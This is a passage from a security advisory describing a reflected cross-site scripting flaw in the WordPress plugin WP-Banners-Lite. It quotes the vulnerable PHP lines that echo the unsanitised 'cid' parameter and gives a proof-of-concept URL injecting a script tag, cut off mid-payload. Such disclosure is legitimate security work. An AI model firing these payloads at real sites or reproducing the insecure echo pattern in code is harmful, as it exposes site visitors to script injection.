II. Details
------------
Cross-Site Scripting flaw discovered on WP-Banners-Lite.
The problem is wpbanners_show.php, at lines 8 and 9, the developer
doesn't filter correctly the variable called "cid" obtained from URL
(Method GET). He obtains "cid" from URL, do a str_replace to remove '
and then he print it.
[+] File: wpbanners_show.php
[-] Line 8: $cid = $_GET["cid"];
[-] Line 9: $cid = str_replace("'", "", $cid);
[-] Line 51: echo 'jQuery(\'#'.$cid.'\').replaceWith(\''.$banner.'\')';
Then, we can inject our own html or javascript code.
III. Exploit
-------------
The vulnerability can be exploited by injecting html or javascript
code as following:
http://localhost/wordpress/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_<script>alert(/XSS
